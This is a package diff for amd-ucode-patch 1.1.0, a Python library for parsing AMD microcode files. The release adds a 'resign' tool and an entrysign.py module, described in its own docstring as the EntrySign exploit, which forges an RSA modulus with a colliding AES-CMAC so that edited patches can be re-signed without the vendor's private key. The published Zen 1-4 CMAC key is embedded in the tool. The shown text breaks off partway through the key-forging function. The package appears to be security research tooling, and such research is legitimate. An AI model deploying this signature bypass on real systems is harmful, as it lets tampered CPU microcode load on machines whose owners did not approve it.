amd-ucode-patch 1.0.1__tar.gz → 1.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/workflows/codeql.yml +2 -2
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/workflows/scorecard.yml +1 -1
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/PKG-INFO +1 -1
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/pyproject.toml +1 -1
- amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli/argtypes.py +48 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/cli/info.py +4 -15
- amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli/paths.py +23 -0
- amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli/sign.py +153 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/naming.py +3 -1
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch.py +14 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/signature.py +5 -4
- amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/cmac.py +40 -0
- amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/entrysign.py +133 -0
- amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/numtheory.py +20 -0
- amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/rsa.py +107 -0
- amd_ucode_patch-1.1.0/src/amd_ucode_patch/utils/xor.py +19 -0
- amd_ucode_patch-1.0.1/src/amd_ucode_patch/cli/sign.py +0 -89
- amd_ucode_patch-1.0.1/src/amd_ucode_patch/utils/rsa.py +0 -65
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/dependabot.yml +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.github/workflows/build.yml +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/.gitignore +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/LICENSE.md +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/README.md +0 -0
- {amd_ucode_patch-1.0.1/src/amd_ucode_patch → amd_ucode_patch-1.1.0/src/amd_ucode_patch/cli}/banner.py +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/parse.py +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/body.py +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch_date.py +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch_header.py +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/patch_level.py +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/structures/verified_header.py +0 -0
- {amd_ucode_patch-1.0.1 → amd_ucode_patch-1.1.0}/src/amd_ucode_patch/utils/bcd.py +0 -0
|
@@ -58,7 +58,7 @@ jobs:
|
|
|
58
58
|
|
|
59
59
|
# Initializes the CodeQL tools for scanning.
|
|
60
60
|
- name: Initialize CodeQL
|
|
61
|
-
uses: github/codeql-action/init@
|
|
61
|
+
uses: github/codeql-action/init@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4
|
|
62
62
|
with:
|
|
63
63
|
languages: ${{ matrix.language }}
|
|
64
64
|
build-mode: ${{ matrix.build-mode }}
|
|
@@ -86,6 +86,6 @@ jobs:
|
|
|
86
86
|
exit 1
|
|
87
87
|
|
|
88
88
|
- name: Perform CodeQL Analysis
|
|
89
|
-
uses: github/codeql-action/analyze@
|
|
89
|
+
uses: github/codeql-action/analyze@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4
|
|
90
90
|
with:
|
|
91
91
|
category: "/language:${{matrix.language}}"
|
|
@@ -38,6 +38,6 @@ jobs:
|
|
|
38
38
|
retention-days: 5
|
|
39
39
|
|
|
40
40
|
- name: Upload to code-scanning
|
|
41
|
-
uses: github/codeql-action/upload-sarif@
|
|
41
|
+
uses: github/codeql-action/upload-sarif@99df26d4f13ea111d4ec1a7dddef6063f76b97e9 # v4.37.0
|
|
42
42
|
with:
|
|
43
43
|
sarif_file: results.sarif
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: amd-ucode-patch
|
|
3
|
-
Version: 1.0
|
|
3
|
+
Version: 1.1.0
|
|
4
4
|
Summary: A Python library for parsing and interpreting AMD microcode patch files
|
|
5
5
|
Project-URL: Homepage, https://github.com/amd-zenith/amd-ucode-patch
|
|
6
6
|
Project-URL: Repository, https://github.com/amd-zenith/amd-ucode-patch
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
#!/usr/bin/env python
|
|
2
|
+
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
+
|
|
4
|
+
"""
|
|
5
|
+
Argparse ``type=`` converters for hex-encoded key material shared by the
|
|
6
|
+
command line tools. Each raises ``argparse.ArgumentTypeError`` on malformed or
|
|
7
|
+
wrong-length input, which argparse renders as a usage error.
|
|
8
|
+
"""
|
|
9
|
+
|
|
10
|
+
import argparse
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def parse_fixed_hex(value: str, nbytes: int, what: str) -> bytes:
|
|
14
|
+
"""
|
|
15
|
+
Parse ``value`` as hex (an optional ``0x`` prefix is allowed) and require it
|
|
16
|
+
to decode to exactly ``nbytes`` bytes. ``what`` names the field in error
|
|
17
|
+
messages.
|
|
18
|
+
"""
|
|
19
|
+
text = value.strip().lower()
|
|
20
|
+
if text.startswith("0x"):
|
|
21
|
+
text = text[2:]
|
|
22
|
+
try:
|
|
23
|
+
data = bytes.fromhex(text)
|
|
24
|
+
except ValueError:
|
|
25
|
+
raise argparse.ArgumentTypeError(f"{what} must be hexadecimal, got {value!r}")
|
|
26
|
+
if len(data) != nbytes:
|
|
27
|
+
raise argparse.ArgumentTypeError(f"{what} must be {nbytes} bytes ({2 * nbytes} hex chars), got {len(data)}")
|
|
28
|
+
return data
|
|
29
|
+
|
|
30
|
+
|
|
31
|
+
def parse_key(value: str) -> bytes:
|
|
32
|
+
"""Parse a 16-byte AES-128 CMAC key from hex."""
|
|
33
|
+
return parse_fixed_hex(value, 16, "key")
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
def parse_modulus(value: str) -> bytes:
|
|
37
|
+
"""Parse a 256-byte RSA modulus from hex."""
|
|
38
|
+
return parse_fixed_hex(value, 256, "modulus")
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
def parse_private(value: str) -> bytes:
|
|
42
|
+
"""Parse a 256-byte RSA private exponent from hex."""
|
|
43
|
+
return parse_fixed_hex(value, 256, "private exponent")
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
def parse_check(value: str) -> bytes:
|
|
47
|
+
"""Parse a 256-byte signature check (Montgomery helper) field from hex."""
|
|
48
|
+
return parse_fixed_hex(value, 256, "check")
|
|
@@ -4,29 +4,18 @@
|
|
|
4
4
|
A command line tool to print information about AMD uCode patch files.
|
|
5
5
|
'''
|
|
6
6
|
|
|
7
|
-
import glob
|
|
8
7
|
import argparse
|
|
9
|
-
from pathlib import Path
|
|
10
8
|
from rich import box
|
|
11
9
|
from rich.console import Console
|
|
12
10
|
from rich.table import Table
|
|
13
|
-
from
|
|
14
|
-
from
|
|
15
|
-
from
|
|
11
|
+
from amd_ucode_patch.cli.banner import BANNER
|
|
12
|
+
from amd_ucode_patch.cli.paths import expand_paths
|
|
13
|
+
from amd_ucode_patch.parse import ucode_patch_parse
|
|
14
|
+
from amd_ucode_patch.structures.patch_level import PatchLevelV2
|
|
16
15
|
|
|
17
16
|
COLS = ["File", "Date", "Patch level", "PL Ver", "PL Rev", "Loader ID", "Proc. Rev", "CPUID", "Family", "Family Name", "Model", "Stepping", "Microarch", "Codename", "Signed", "Autorun", "Encrypted", "Body size"]
|
|
18
17
|
|
|
19
18
|
|
|
20
|
-
def expand_paths(patterns):
|
|
21
|
-
for pattern in patterns:
|
|
22
|
-
matches = sorted(glob.glob(pattern, recursive=True))
|
|
23
|
-
if not matches:
|
|
24
|
-
yield Path(pattern)
|
|
25
|
-
continue
|
|
26
|
-
for match in matches:
|
|
27
|
-
yield Path(match)
|
|
28
|
-
|
|
29
|
-
|
|
30
19
|
def _row_fields(path, patch):
|
|
31
20
|
patch_level = patch.header.patch_level
|
|
32
21
|
# Advanced (v2 / Zen+) patch level fields are only meaningful when present.
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
#!/usr/bin/env python
|
|
2
|
+
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
+
|
|
4
|
+
"""Shared path handling for the command line tools."""
|
|
5
|
+
|
|
6
|
+
import glob
|
|
7
|
+
from pathlib import Path
|
|
8
|
+
from collections.abc import Iterable, Iterator
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def expand_paths(patterns: Iterable[str]) -> Iterator[Path]:
|
|
12
|
+
"""
|
|
13
|
+
Expand each glob pattern into the matching paths (sorted, recursive ``**``
|
|
14
|
+
supported). A pattern with no matches is yielded verbatim as a ``Path`` so the
|
|
15
|
+
caller can surface a sensible "file not found" error.
|
|
16
|
+
"""
|
|
17
|
+
for pattern in patterns:
|
|
18
|
+
matches = sorted(glob.glob(pattern, recursive=True))
|
|
19
|
+
if not matches:
|
|
20
|
+
yield Path(pattern)
|
|
21
|
+
continue
|
|
22
|
+
for match in matches:
|
|
23
|
+
yield Path(match)
|
|
@@ -0,0 +1,153 @@
|
|
|
1
|
+
#!/usr/bin/env python
|
|
2
|
+
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
+
'''
|
|
4
|
+
A command line tool to inspect, verify, sign and resign AMD uCode patches.
|
|
5
|
+
'''
|
|
6
|
+
|
|
7
|
+
import sys
|
|
8
|
+
import argparse
|
|
9
|
+
from pathlib import Path
|
|
10
|
+
from rich import box
|
|
11
|
+
from rich.console import Console
|
|
12
|
+
from rich.table import Table
|
|
13
|
+
from amd_ucode_patch.cli.banner import BANNER
|
|
14
|
+
from amd_ucode_patch.parse import ucode_patch_parse
|
|
15
|
+
from amd_ucode_patch.utils.cmac import cmac_digest
|
|
16
|
+
from amd_ucode_patch.utils.entrysign import produce_colliding_key
|
|
17
|
+
from amd_ucode_patch.utils.rsa import montgomery_n_prime, sign_pkcs1_v15_payload
|
|
18
|
+
from amd_ucode_patch.cli.paths import expand_paths
|
|
19
|
+
from amd_ucode_patch.cli.argtypes import parse_key, parse_modulus, parse_private
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
COLS = ["File", "Signed", "Digest", "Valid"]
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
def _verify_row(path, key):
|
|
26
|
+
"""Return the four display cells (File, Signed, Digest, Valid) for one patch."""
|
|
27
|
+
patch = ucode_patch_parse(path)
|
|
28
|
+
signature = patch.header.signature
|
|
29
|
+
|
|
30
|
+
if signature is None:
|
|
31
|
+
return (str(path), "[yellow]no[/yellow]", "", "[dim]n/a[/dim]")
|
|
32
|
+
|
|
33
|
+
recovered = signature.recover_digest()
|
|
34
|
+
digest = recovered.hex() if recovered is not None else "[red]<bad padding>[/red]"
|
|
35
|
+
|
|
36
|
+
if key is None:
|
|
37
|
+
return (str(path), "[green]yes[/green]", digest, "[dim]not checked[/dim]")
|
|
38
|
+
|
|
39
|
+
computed = cmac_digest(patch.body.to_bytes(), key)
|
|
40
|
+
verdict = recovered is not None and recovered == computed
|
|
41
|
+
valid = "[green]yes[/green]" if verdict else "[red]no[/red]"
|
|
42
|
+
return (str(path), "[green]yes[/green]", digest, valid)
|
|
43
|
+
|
|
44
|
+
|
|
45
|
+
def verify(args, console):
|
|
46
|
+
"""Process the ``verify`` command: print a signature table for each file."""
|
|
47
|
+
table = Table(*COLS, box=box.HEAVY_HEAD)
|
|
48
|
+
for path in expand_paths(args.files):
|
|
49
|
+
try:
|
|
50
|
+
row = _verify_row(path, args.key)
|
|
51
|
+
table.add_row(*row)
|
|
52
|
+
except Exception as e:
|
|
53
|
+
console.log(f"Error reading {path}: {e}")
|
|
54
|
+
console.print(table)
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
def _write_target(src: Path, output: Path | None) -> Path:
|
|
58
|
+
return output if output is not None else src
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def _resign_one(
|
|
62
|
+
path: Path,
|
|
63
|
+
key: bytes,
|
|
64
|
+
private: bytes | None,
|
|
65
|
+
modulus: bytes | None,
|
|
66
|
+
output: Path | None,
|
|
67
|
+
) -> tuple[Path, str]:
|
|
68
|
+
patch = ucode_patch_parse(path)
|
|
69
|
+
signature = patch.header.signature
|
|
70
|
+
if signature is None:
|
|
71
|
+
raise ValueError("patch is unsigned (pre-Zen), cannot resign")
|
|
72
|
+
|
|
73
|
+
digest = cmac_digest(patch.body.to_bytes(), key)
|
|
74
|
+
if private is None:
|
|
75
|
+
target = cmac_digest(signature.modulus, key)
|
|
76
|
+
new_modulus, new_private = produce_colliding_key(target, cmac_key=key)
|
|
77
|
+
else:
|
|
78
|
+
new_modulus = modulus if modulus is not None else signature.modulus
|
|
79
|
+
new_private = private
|
|
80
|
+
|
|
81
|
+
signature.modulus = new_modulus
|
|
82
|
+
signature.check = montgomery_n_prime(new_modulus)
|
|
83
|
+
signature.signature = sign_pkcs1_v15_payload(digest, new_modulus, new_private)
|
|
84
|
+
|
|
85
|
+
out_path = _write_target(path, output)
|
|
86
|
+
out_path.write_bytes(patch.to_bytes())
|
|
87
|
+
return out_path, digest.hex()
|
|
88
|
+
|
|
89
|
+
|
|
90
|
+
def resign(args, console) -> int:
|
|
91
|
+
"""
|
|
92
|
+
Process the ``resign`` command: re-sign edited patches, in place by default.
|
|
93
|
+
Returns a process exit code (non-zero if any file failed or the arguments
|
|
94
|
+
were invalid).
|
|
95
|
+
"""
|
|
96
|
+
if args.output is not None and len(args.files) != 1:
|
|
97
|
+
console.log("Error: --output is only allowed with a single input file")
|
|
98
|
+
return 1
|
|
99
|
+
if args.modulus is not None and args.private is None:
|
|
100
|
+
console.log("Error: --modulus requires --private")
|
|
101
|
+
return 1
|
|
102
|
+
|
|
103
|
+
exit_code = 0
|
|
104
|
+
for path in expand_paths(args.files):
|
|
105
|
+
try:
|
|
106
|
+
target, digest = _resign_one(
|
|
107
|
+
path,
|
|
108
|
+
args.key,
|
|
109
|
+
args.private,
|
|
110
|
+
args.modulus,
|
|
111
|
+
args.output,
|
|
112
|
+
)
|
|
113
|
+
console.print(f"[green]resigned[/green] {target} digest={digest}")
|
|
114
|
+
except Exception as e:
|
|
115
|
+
console.log(f"Error resigning {path}: {e}")
|
|
116
|
+
exit_code = 1
|
|
117
|
+
return exit_code
|
|
118
|
+
|
|
119
|
+
|
|
120
|
+
def main():
|
|
121
|
+
console = Console()
|
|
122
|
+
console.print(BANNER, highlight=False)
|
|
123
|
+
|
|
124
|
+
parser = argparse.ArgumentParser(
|
|
125
|
+
description="Inspect, verify, sign and resign AMD microcode patch signatures.",
|
|
126
|
+
epilog="The published Zen 1-4 CMAC key is 2b7e151628aed2a6abf7158809cf4f3c.",
|
|
127
|
+
)
|
|
128
|
+
|
|
129
|
+
subparsers = parser.add_subparsers(dest="command")
|
|
130
|
+
|
|
131
|
+
verify_parser = subparsers.add_parser("verify", help="Inspect signatures and verify with -k when provided")
|
|
132
|
+
verify_parser.add_argument("files", nargs="+", help="Patch files to inspect")
|
|
133
|
+
verify_parser.add_argument("-k", "--key", type=parse_key, default=None, help="AES-128 CMAC key as hex (32 hex chars); enables verification")
|
|
134
|
+
|
|
135
|
+
resign_parser = subparsers.add_parser("resign", help="Re-sign edited patches in-place (zentool-style)")
|
|
136
|
+
resign_parser.add_argument("files", nargs="+", help="Patch files to resign")
|
|
137
|
+
resign_parser.add_argument("-k", "--key", type=parse_key, required=True, help="AES-128 CMAC key as hex (default: published Zen 1-4 key)")
|
|
138
|
+
resign_parser.add_argument("-d", "--private", type=parse_private, default=None, help="RSA private exponent as 512 hex chars (256 bytes). Optional.")
|
|
139
|
+
resign_parser.add_argument("-m", "--modulus", type=parse_modulus, default=None, help="RSA modulus as 512 hex chars (256 bytes). Used with --private.")
|
|
140
|
+
resign_parser.add_argument("-o", "--output", type=Path, default=None, help="Output file (single-input only). Defaults to in-place rewrite")
|
|
141
|
+
|
|
142
|
+
args = parser.parse_args()
|
|
143
|
+
|
|
144
|
+
if args.command == "verify":
|
|
145
|
+
verify(args, console)
|
|
146
|
+
elif args.command == "resign":
|
|
147
|
+
sys.exit(resign(args, console))
|
|
148
|
+
else:
|
|
149
|
+
console.log(f"Error: unknown command {args.command!r}")
|
|
150
|
+
|
|
151
|
+
|
|
152
|
+
if __name__ == "__main__":
|
|
153
|
+
main()
|
|
@@ -5,12 +5,14 @@ from .structures.patch import Patch
|
|
|
5
5
|
|
|
6
6
|
def ucode_patch_name(patch: Patch, enc_override=None) -> str:
|
|
7
7
|
# Format should be:
|
|
8
|
-
# family<family>_cpuid<cpuid>_rev<revision>_date<yyyymmdd>_enc<ee>.bin
|
|
8
|
+
# family<family>_cpuid<cpuid>_rev<revision>_date<yyyymmdd>_enc<ee>_sha<hash12>.bin
|
|
9
9
|
# The _enc<ee> suffix is only present when a verified header exists.
|
|
10
10
|
cpuid = patch.header.cpuid
|
|
11
11
|
name = f"family{cpuid.family:02x}_cpuid{cpuid.cpuid_signature:08X}_rev{patch.header.patch_level}_date{patch.header.date.year:04}{patch.header.date.month:02}{patch.header.date.day:02}"
|
|
12
12
|
if patch.body.verified_header is not None:
|
|
13
13
|
enc = patch.body.verified_header.encrypted if enc_override is None else enc_override
|
|
14
14
|
name += f"_enc{enc:02}"
|
|
15
|
+
hash12 = patch.sha256_hex()[:12]
|
|
16
|
+
name += f"_sha{hash12}"
|
|
15
17
|
name += ".bin"
|
|
16
18
|
return name
|
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env python
|
|
2
2
|
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
3
|
|
|
4
|
+
import hashlib
|
|
4
5
|
from dataclasses import dataclass
|
|
5
6
|
from .patch_header import PatchHeader
|
|
6
7
|
from .body import Body
|
|
@@ -20,6 +21,11 @@ class Patch:
|
|
|
20
21
|
body = Body.from_bytes(buf[header.size:], family=header.cpuid.family)
|
|
21
22
|
return Patch(header=header, body=body)
|
|
22
23
|
|
|
24
|
+
def to_bytes(self) -> bytes:
|
|
25
|
+
"""The whole patch encoding: the header (with signature block, if any)
|
|
26
|
+
followed by the signed body."""
|
|
27
|
+
return self.header.to_bytes() + self.body.to_bytes()
|
|
28
|
+
|
|
23
29
|
def signature_verifies(self, cmac_key: bytes) -> bool | None:
|
|
24
30
|
"""
|
|
25
31
|
Whether the patch signature verifies against its embedded public key,
|
|
@@ -34,3 +40,11 @@ class Patch:
|
|
|
34
40
|
if self.header.signature is None:
|
|
35
41
|
return None
|
|
36
42
|
return self.header.signature.verify(self.body.to_bytes(), cmac_key)
|
|
43
|
+
|
|
44
|
+
def sha256(self) -> bytes:
|
|
45
|
+
"""SHA-256 digest of the whole patch (header + body)."""
|
|
46
|
+
return hashlib.sha256(self.to_bytes()).digest()
|
|
47
|
+
|
|
48
|
+
def sha256_hex(self) -> str:
|
|
49
|
+
"""SHA-256 digest of the whole patch (header + body) as a hex string."""
|
|
50
|
+
return hashlib.sha256(self.to_bytes()).hexdigest()
|
|
@@ -4,7 +4,8 @@
|
|
|
4
4
|
from dataclasses import dataclass
|
|
5
5
|
from Crypto.Cipher import AES
|
|
6
6
|
from Crypto.Hash import CMAC
|
|
7
|
-
from amd_ucode_patch.utils.
|
|
7
|
+
from amd_ucode_patch.utils.cmac import cmac_digest
|
|
8
|
+
from amd_ucode_patch.utils.rsa import recover_pkcs1_v15_payload, verify_pkcs1_v15_payload
|
|
8
9
|
|
|
9
10
|
|
|
10
11
|
@dataclass
|
|
@@ -52,7 +53,7 @@ class Signature:
|
|
|
52
53
|
``None`` if the recovered block is not well-formed PKCS#1 v1.5 (e.g. a
|
|
53
54
|
corrupt signature or wrong modulus).
|
|
54
55
|
"""
|
|
55
|
-
return
|
|
56
|
+
return recover_pkcs1_v15_payload(self.signature, self.modulus)
|
|
56
57
|
|
|
57
58
|
def verify(self, signed_region: bytes, cmac_key: bytes) -> bool:
|
|
58
59
|
"""
|
|
@@ -64,5 +65,5 @@ class Signature:
|
|
|
64
65
|
key, so Zen 5 patches will not verify unless the right ``cmac_key`` is
|
|
65
66
|
supplied.
|
|
66
67
|
"""
|
|
67
|
-
digest =
|
|
68
|
-
return
|
|
68
|
+
digest = cmac_digest(signed_region, cmac_key)
|
|
69
|
+
return verify_pkcs1_v15_payload(self.signature, self.modulus, digest)
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
#!/usr/bin/env python
|
|
2
|
+
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
+
|
|
4
|
+
"""AES-CMAC helpers shared by signature tooling."""
|
|
5
|
+
|
|
6
|
+
from Crypto.Cipher import AES
|
|
7
|
+
from Crypto.Hash import CMAC
|
|
8
|
+
|
|
9
|
+
#: AES block size in bytes; also the AES-CMAC block size.
|
|
10
|
+
AES_BLOCK_SIZE = 16
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def cmac_digest(message: bytes, key: bytes) -> bytes:
|
|
14
|
+
"""Return AES-128-CMAC over ``message`` using ``key``."""
|
|
15
|
+
return CMAC.new(key, msg=message, ciphermod=AES).digest()
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
def gf128_double(block: bytes) -> bytes:
|
|
19
|
+
"""
|
|
20
|
+
Double a 16-byte block in GF(2^128): a left shift by one bit, reduced modulo
|
|
21
|
+
the CMAC polynomial (XOR ``0x87``) when the top bit overflows. This is the
|
|
22
|
+
``dbl`` operation from RFC 4493 used to derive the AES-CMAC subkeys K1 and K2.
|
|
23
|
+
"""
|
|
24
|
+
out = bytearray(block)
|
|
25
|
+
carry = out[0] >> 7
|
|
26
|
+
for i in range(15):
|
|
27
|
+
out[i] = ((out[i] << 1) & 0xFF) | (out[i + 1] >> 7)
|
|
28
|
+
out[15] = ((out[15] << 1) & 0xFF) ^ (0x87 if carry else 0)
|
|
29
|
+
return bytes(out)
|
|
30
|
+
|
|
31
|
+
|
|
32
|
+
def cmac_subkeys(key: bytes) -> tuple[bytes, bytes]:
|
|
33
|
+
"""
|
|
34
|
+
Derive the AES-CMAC subkeys ``(K1, K2)`` from ``key`` per RFC 4493:
|
|
35
|
+
``L = AES_key(0^128)``, ``K1 = dbl(L)``, ``K2 = dbl(K1)``.
|
|
36
|
+
"""
|
|
37
|
+
aes = AES.new(key, AES.MODE_ECB)
|
|
38
|
+
subkey1 = gf128_double(aes.encrypt(b"\x00" * AES_BLOCK_SIZE))
|
|
39
|
+
subkey2 = gf128_double(subkey1)
|
|
40
|
+
return subkey1, subkey2
|
|
@@ -0,0 +1,133 @@
|
|
|
1
|
+
#!/usr/bin/env python
|
|
2
|
+
# SPDX-License-Identifier: GPL-2.0-or-later
|
|
3
|
+
|
|
4
|
+
"""
|
|
5
|
+
EntrySign exploit: forge an RSA modulus that collides to a chosen AES-CMAC,
|
|
6
|
+
enabling patch resigning without the private key.
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
from Crypto.Cipher import AES
|
|
10
|
+
from Crypto.Util.number import isPrime
|
|
11
|
+
from amd_ucode_patch.utils.rsa import RSA_EXPONENT_F4
|
|
12
|
+
from amd_ucode_patch.utils.cmac import AES_BLOCK_SIZE, cmac_digest, cmac_subkeys
|
|
13
|
+
from amd_ucode_patch.utils.numtheory import prime_table
|
|
14
|
+
from amd_ucode_patch.utils.xor import xor_bytes
|
|
15
|
+
|
|
16
|
+
|
|
17
|
+
def _find_cmac_preimage(
|
|
18
|
+
target_cmac: bytes,
|
|
19
|
+
preimage: bytearray,
|
|
20
|
+
sacrifice_index: int,
|
|
21
|
+
cmac_key: bytes,
|
|
22
|
+
) -> None:
|
|
23
|
+
"""
|
|
24
|
+
Rewrite the 16-byte block of ``preimage`` at ``sacrifice_index`` in place so
|
|
25
|
+
that ``AES-CMAC(cmac_key, preimage) == target_cmac``, leaving every other
|
|
26
|
+
block untouched.
|
|
27
|
+
|
|
28
|
+
Works by unrolling the CBC-MAC chain: the CMAC state is walked forward from
|
|
29
|
+
the start up to the sacrifice block and backward from ``target_cmac`` (undoing
|
|
30
|
+
the final subkey XOR) down to it, so the one unknown block is the value that
|
|
31
|
+
joins the two halves. ``sacrifice_index`` must be a multiple of 16. Raises
|
|
32
|
+
``ValueError`` if the resulting CMAC does not match ``target_cmac``.
|
|
33
|
+
"""
|
|
34
|
+
bs = AES_BLOCK_SIZE
|
|
35
|
+
if sacrifice_index % bs:
|
|
36
|
+
raise ValueError("sacrifice index must be a multiple of 16")
|
|
37
|
+
|
|
38
|
+
aes = AES.new(cmac_key, AES.MODE_ECB)
|
|
39
|
+
subkey1, subkey2 = cmac_subkeys(cmac_key)
|
|
40
|
+
|
|
41
|
+
nbytes = len(preimage)
|
|
42
|
+
padded_len = ((nbytes + bs - 1) // bs) * bs
|
|
43
|
+
padded = bytearray(padded_len)
|
|
44
|
+
padded[:nbytes] = preimage
|
|
45
|
+
|
|
46
|
+
if nbytes % bs == 0:
|
|
47
|
+
tail = padded_len - bs
|
|
48
|
+
padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey1)
|
|
49
|
+
else:
|
|
50
|
+
padded[nbytes] = 0x80
|
|
51
|
+
tail = padded_len - bs
|
|
52
|
+
padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey2)
|
|
53
|
+
|
|
54
|
+
padded[sacrifice_index:sacrifice_index + bs] = b"\x00" * bs
|
|
55
|
+
|
|
56
|
+
out_forward = b"\x00" * bs
|
|
57
|
+
for i in range(sacrifice_index // bs):
|
|
58
|
+
block = bytes(padded[i * bs:(i + 1) * bs])
|
|
59
|
+
out_forward = aes.encrypt(xor_bytes(out_forward, block))
|
|
60
|
+
|
|
61
|
+
inp = bytes(target_cmac)
|
|
62
|
+
for i in range((padded_len // bs) - 1, (sacrifice_index // bs) - 1, -1):
|
|
63
|
+
out_backward = aes.decrypt(inp)
|
|
64
|
+
block = bytes(padded[i * bs:(i + 1) * bs])
|
|
65
|
+
inp = xor_bytes(out_backward, block)
|
|
66
|
+
|
|
67
|
+
padded[sacrifice_index:sacrifice_index + bs] = xor_bytes(out_forward, inp)
|
|
68
|
+
|
|
69
|
+
if nbytes % bs == 0:
|
|
70
|
+
tail = padded_len - bs
|
|
71
|
+
padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey1)
|
|
72
|
+
else:
|
|
73
|
+
tail = padded_len - bs
|
|
74
|
+
padded[tail:padded_len] = xor_bytes(padded[tail:padded_len], subkey2)
|
|
75
|
+
|
|
76
|
+
result = cmac_digest(bytes(padded[:nbytes]), cmac_key)
|
|
77
|
+
if result != target_cmac:
|
|
78
|
+
raise ValueError("failed to compute a matching CMAC preimage")
|
|
79
|
+
|
|
80
|
+
preimage[sacrifice_index:sacrifice_index + bs] = padded[sacrifice_index:sacrifice_index + bs]
|
|
81
|
+
|
|
82
|
+
|
|
83
|
+
def produce_colliding_key(
|
|
84
|
+
target_cmac: bytes,
|
|
85
|
+
cmac_key: bytes,
|
|
86
|
+
bits: int = 2048,
|
|
87
|
+
exponent: int = RSA_EXPONENT_F4,
|
|
88
|
+
) -> tuple[bytes, bytes]:
|
|
89
|
+
"""
|
|
90
|
+
Generate an RSA keypair whose modulus collides to a chosen CMAC, i.e.
|
|
91
|
+
``AES-CMAC(cmac_key, modulus) == target_cmac``. Mirrors zentool's
|
|
92
|
+
factor/resign strategy used for the EntrySign exploit.
|
|
93
|
+
|
|
94
|
+
Starting from a ``bits``-wide candidate, it repeatedly forces the CMAC to
|
|
95
|
+
``target_cmac`` (via :func:`_find_cmac_preimage`), then keeps the modulus only
|
|
96
|
+
when it factors into small primes plus one large prime -- enough to compute
|
|
97
|
+
the private exponent ``d`` for the public ``exponent``. Returns
|
|
98
|
+
``(modulus, private_exponent)`` as big-endian ``bits // 8``-byte strings, or
|
|
99
|
+
raises ``ValueError`` if no suitable modulus is found within the attempt budget.
|
|
100
|
+
"""
|
|
101
|
+
size = bits // 8
|
|
102
|
+
key = bytearray(size)
|
|
103
|
+
key[0] = 0x80
|
|
104
|
+
key[-1] = 0x01
|
|
105
|
+
|
|
106
|
+
primes = prime_table()
|
|
107
|
+
for _ in range(5 * bits):
|
|
108
|
+
_find_cmac_preimage(target_cmac, key, sacrifice_index=16, cmac_key=cmac_key)
|
|
109
|
+
|
|
110
|
+
n = int.from_bytes(key, "big")
|
|
111
|
+
left = n
|
|
112
|
+
totient = 1
|
|
113
|
+
for p in primes:
|
|
114
|
+
if left % p != 0:
|
|
115
|
+
continue
|
|
116
|
+
first = True
|
|
117
|
+
while left % p == 0:
|
|
118
|
+
left //= p
|
|
119
|
+
totient *= (p - 1) if first else p
|
|
120
|
+
first = False
|
|
121
|
+
|
|
122
|
+
if left > 1 and isPrime(left):
|
|
123
|
+
totient *= (left - 1)
|
|
124
|
+
if totient % exponent != 0:
|
|
125
|
+
